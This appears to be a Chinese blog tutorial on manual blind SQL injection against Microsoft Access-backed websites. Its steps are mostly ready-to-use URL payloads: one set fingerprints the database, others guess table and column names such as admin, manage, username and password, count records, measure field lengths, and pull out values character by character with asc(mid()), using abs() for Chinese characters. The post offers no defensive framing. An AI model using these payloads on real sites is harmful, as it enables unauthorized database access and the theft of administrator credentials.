zoukankan      html  css  js  c++  java
  • Access手动注入实战

    注入ACCESS时,不能和MYSQL一样可以把表名爆出,只能一个一个去猜。

    1.找到网站后,查看是否为ACCESS数据库。

        构造payload  URL+  and exists (select id from mysysaccessobjects) 返回正确,则为access数据库。

                 and (select count(*) from msysobjects)>0    –返回权限不足为access数据库
                 and (select count(*) from sysobjects)>0     –返回正常则为MSSQL数据库

        想法设法让他报错,错误信息中包含数据库信息。

                

    2.进行and 1=1(显示正常) 与and1=2(报错)确实是注入点。 

    3.URL + and 0<=(select count(*) from admin) and 1<2  查看返回结果,发现出错。说明没有admin这个表。 (使用参见的表名进行猜测)  and (select count(*) from admin) 即可

    4.URL + and 0<=(select count(*) from manage) and 1<2      查看返货结果,反正正确页面。说明数据库中含有manage这个表。         and  (select count(*) from manage)   即可

      一个一个去尝试看看别的表名是什么。

    5.确定manage这个表的存在,然后接下来判断表内有多少条记录数

          payload: and (select count(*) from 猜到的表名)>X(X是个数字,>我们也可以替换为=或<)。

           尝试: and (select count(*) from manage)>0  看是否返回正确页面。正确说明有 >0的记录数。然后继续修改X 确定有多少条记录数。 这里测试后只有一条记录。

    6.知道manage 表中只有一个记录也就是只有一个列。然后猜测列名。

          payload : (select count(username) from manage)  猜测manage表中是否有username这个列。 然后把username 换成一些常用的password id等等去测试。

    7.知道列名后,然后猜测字段长度。

            payload:使用语句and (select top 1 len(列) from 表)>X,`select top 1`是查询第一条数据的意思。(查询第二条字段长度必须先把第一条的字段值判断出来)

            payload:and (select top 1 len(username) from manage)>4 返回正确页面,说明第一个字段大于4

            payload:and (select top 1 len(username) from manage)>5 返回错误页面,说明第一个字段小于5 。结合说明第一个字段长度为5

    8. 判断字段值

      payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,这个句子里的N和X都是数字。top 1还是是查询第一条数据的意思。

      asc()这个函数是用来得到()里的字符串的 ASCII码(什么是ASCII码呢?计算机内部采用二进制的方式计数,那么它为什么又能识别十进制数和各种字符、图形呢?

      其实,不论是数值数据还是文字、图形等,在计算机内部都采用了一种编码标准。通过编码标准可以把它转换成二进制数来进行处理,计算机将这些信息处理完毕再转换成可视的信息显示出来。常用的字符代码是 ASCII码,它原来是美国的国家标准,

      1967年被定为国际标准。),比如a所对应的ASCII码就是97。

      mid(字段名,A, N),这个函数是用来截取()里的字段从第A个长度起往后截取N个字,比如mid(username,2,3)就表示从username字段中从第二个字符向后截取3位,包括第二个字符,比如值为admin,截取的就是dmi。我们上面使用mid(字段名,X,1),

      最后面那个数字是1,但前面还有个asc()函数,asc()这个函数一下就只把一个字符转换成ASCII码,所以我们用mid()函数来截取列值的时候只截取一位。

        构造payload:  and (select top 1 asc(mid(username,1,1)) from manage)>96 页面返回正常页面  说明username列中的第一个字段往后的一位大于 96(转码之后)

               and (select top 1 asc(mid(username,1,1)) from manage)>97 页面返回错误页面,说明username列中的第一字段往后的一位不大于97(转码之后)。说明是97 ASCII转码之后是a

        然后在构造payload  :and (select top 1 asc(mid(username,2,1)) from manage)>97 继续猜测第二个字段。使用这个方法继续猜测之后的字段。能把所有的字段都爆出来。

     

         9.  有时候,我们会碰到汉字的数据,比如username中数据就是“管理员”,这时就不能使用ASCII码了

        10.用逐字猜解列值的方 法,有的时候是 >0 页面还是返回错误!不大于0就说晚这个值的ASCII码是负数,也就是汉字!这个时候我们要想得到它的ASCII码,就要用到一个函数了!abs()这个 函数是用来返回一个值的绝对值的!我们只要把这个函数加在句子里,就可以按照平常的方法猜ASCII码了。具体是这么加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N就是这样了,不过等猜出来后不要忘了加负号。

        11.联合查询也可以尝试猜测。

  • 相关阅读:
    UVALive 5983 MAGRID DP
    2015暑假训练(UVALive 5983
    poj 1426 Find The Multiple (BFS)
    poj 3126 Prime Path (BFS)
    poj 2251 Dungeon Master 3维bfs(水水)
    poj 3278 catch that cow BFS(基础水)
    poj3083 Children of the Candy Corn BFS&&DFS
    BZOJ1878: [SDOI2009]HH的项链 (离线查询+树状数组)
    洛谷P3178 [HAOI2015]树上操作(dfs序+线段树)
    洛谷P3065 [USACO12DEC]第一!First!(Trie树+拓扑排序)
  • 原文地址:https://www.cnblogs.com/pangya/p/8984700.html
Copyright © 2011-2022 走看看